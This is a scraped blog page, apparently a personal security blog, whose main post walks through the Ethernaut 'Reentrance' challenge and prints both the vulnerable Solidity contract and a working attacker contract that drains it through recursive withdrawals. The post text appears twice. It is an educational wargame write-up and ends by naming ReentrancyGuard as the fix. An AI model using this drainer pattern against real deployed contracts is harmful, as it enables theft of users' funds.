
OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Share Dialog
Share Dialog
Writing about security, MEV, privacy and decentralized finance

Subscribe to 0xbanky

Subscribe to 0xbanky
Okay so reentrancy. This is one of the vulnerabilities that you hear about a lot in the ethereum space so was looking forward to understanding how it works
https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Our contract here serves as a store of value where anyone can deposit funds and withdraw them at any time. Looking at the contract logic, a user should only be able to withdraw up to the amount of funds that they have in their balance.
The cool thing about reentrancy attacks is that they can allow an attacker to recursively pull out funds. This happens because the balance is only updated after the amount has been sent to the user. Because of this, the attacking contract can call back in to the main contract and withdraw again.
I created an attacker contract that looks like this
contract AttackReentrance {
address payable contractAddress;
Reentrance reentranceInstance;
constructor (address payable _contractAddress) {
contractAddress = _contractAddress;
reentranceInstance = Reentrance(contractAddress);
}
receive () external payable {
reentranceInstance.withdraw(0.001 ether);
}
function donate() public payable {
contractAddress.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
}
function attack () public payable {
reentranceInstance.withdraw(0.001 ether);
}
}
With this AttackReentrance contract, I make a donation to the instance of Reentrance first. After that, I call attack which just performs a withdrawal of the amount donated back into AttackReentrance. The special sauce here is the receive callback function. As an aside, I’m finding that fallback functions are extremely versatile for attacking contracts because they force contracts to run my code.
The receive function then calls withdraw again for 0.001 ether. Since the balance is only updated in Reentrance after the transfer has been made, the users balance has not been updated at this point. This means that the next withdrawal will go through and withdrawals will keep happening until the Reentrance instance is completely drained of funds.
There were some problems that I could not figure out why they were happening here.
When I called donate on my AttackReentrance function, my transactions always ran out of gas when using the estimate from Remix. I had to 10x the gas estimate to ensure the transaction went through which was odd
I expected to be able to use call on the contract address instead of initiating an instance of the contract. I was only able to initiate an instance because I had the source code for Reentrance. This call kept failing for me. If someone knows why, please let me know 🤠
contractAddress.call(abi.encodeWithSignature("withdraw(uint)", 1000000));
Reentrancy problems are pretty simple to avoid using something like ReentrancyGuard from OpenZeppelin. However, it is really cool to see how they work and see in practice how dangerous they can be
Okay so reentrancy. This is one of the vulnerabilities that you hear about a lot in the ethereum space so was looking forward to understanding how it works
https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Our contract here serves as a store of value where anyone can deposit funds and withdraw them at any time. Looking at the contract logic, a user should only be able to withdraw up to the amount of funds that they have in their balance.
The cool thing about reentrancy attacks is that they can allow an attacker to recursively pull out funds. This happens because the balance is only updated after the amount has been sent to the user. Because of this, the attacking contract can call back in to the main contract and withdraw again.
I created an attacker contract that looks like this
contract AttackReentrance {
address payable contractAddress;
Reentrance reentranceInstance;
constructor (address payable _contractAddress) {
contractAddress = _contractAddress;
reentranceInstance = Reentrance(contractAddress);
}
receive () external payable {
reentranceInstance.withdraw(0.001 ether);
}
function donate() public payable {
contractAddress.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
}
function attack () public payable {
reentranceInstance.withdraw(0.001 ether);
}
}
With this AttackReentrance contract, I make a donation to the instance of Reentrance first. After that, I call attack which just performs a withdrawal of the amount donated back into AttackReentrance. The special sauce here is the receive callback function. As an aside, I’m finding that fallback functions are extremely versatile for attacking contracts because they force contracts to run my code.
The receive function then calls withdraw again for 0.001 ether. Since the balance is only updated in Reentrance after the transfer has been made, the users balance has not been updated at this point. This means that the next withdrawal will go through and withdrawals will keep happening until the Reentrance instance is completely drained of funds.
There were some problems that I could not figure out why they were happening here.
When I called donate on my AttackReentrance function, my transactions always ran out of gas when using the estimate from Remix. I had to 10x the gas estimate to ensure the transaction went through which was odd
I expected to be able to use call on the contract address instead of initiating an instance of the contract. I was only able to initiate an instance because I had the source code for Reentrance. This call kept failing for me. If someone knows why, please let me know 🤠
contractAddress.call(abi.encodeWithSignature("withdraw(uint)", 1000000));
Reentrancy problems are pretty simple to avoid using something like ReentrancyGuard from OpenZeppelin. However, it is really cool to see how they work and see in practice how dangerous they can be
<100 subscribers
<100 subscribers
No activity yet